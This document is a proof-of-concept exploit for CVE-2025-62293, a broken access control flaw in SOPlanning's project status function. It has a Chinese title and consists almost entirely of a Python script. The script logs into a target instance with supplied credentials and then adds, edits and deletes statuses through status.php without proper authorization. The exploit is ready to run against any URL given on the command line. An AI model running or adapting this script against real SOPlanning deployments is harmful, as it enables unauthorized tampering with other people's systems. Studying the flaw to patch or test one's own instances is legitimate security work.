CVE-2025-62293 SOPlanning项目状态功能访问控制失效漏洞

import requests import sys # CVE-2025-62293 PoC - SOPlanning Broken Access Control # Target: SOPlanning /status endpoint def exploit(target_url, username, password): """ Exploit CVE-2025-62293: Broken Access Control in SOPlanning /status endpoint """ # Step 1: Login to get authenticated session login_url = f"{target_url}/login.php" session = requests.Session() login_data = { 'login': username, 'password': password } print(f"[*] Logging in as {username}...") response = session.post(login_url, data=login_data) if 'error' in response.text.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Add arbitrary status (privilege escalation) add_status_url = f"{target_url}/status.php" status_data = { 'action': 'add', 'status_name': 'Malicious Status', 'status_color': '#FF0000' } print("[*] Adding arbitrary status...") response = session.post(add_status_url, data=status_data) if response.status_code == 200: print("[+] Status added successfully!") print("[+] This demonstrates unauthorized access to status management") # Step 3: Edit status (privilege escalation) edit_status_url = f"{target_url}/status.php" edit_data = { 'action': 'edit', 'status_id': '1', 'status_name': 'Modified Status', 'status_color': '#00FF00' } print("[*] Editing arbitrary status...") response = session.post(edit_status_url, data=edit_data) if response.status_code == 200: print("[+] Status edited successfully!") # Step 4: Delete status (privilege escalation) delete_status_url = f"{target_url}/status.php" delete_data = { 'action': 'delete', 'status_id': '1' } print("[*] Deleting arbitrary status...") response = session.post(delete_status_url, data=delete_data) if response.status_code == 200: print("[+] Status deleted successfully!") print("\n[!] Exploitation complete - Broken Access Control confirmed") return True if __name__ == '__main__': if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://localhost/so planning user pass123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit(target, user, passwd)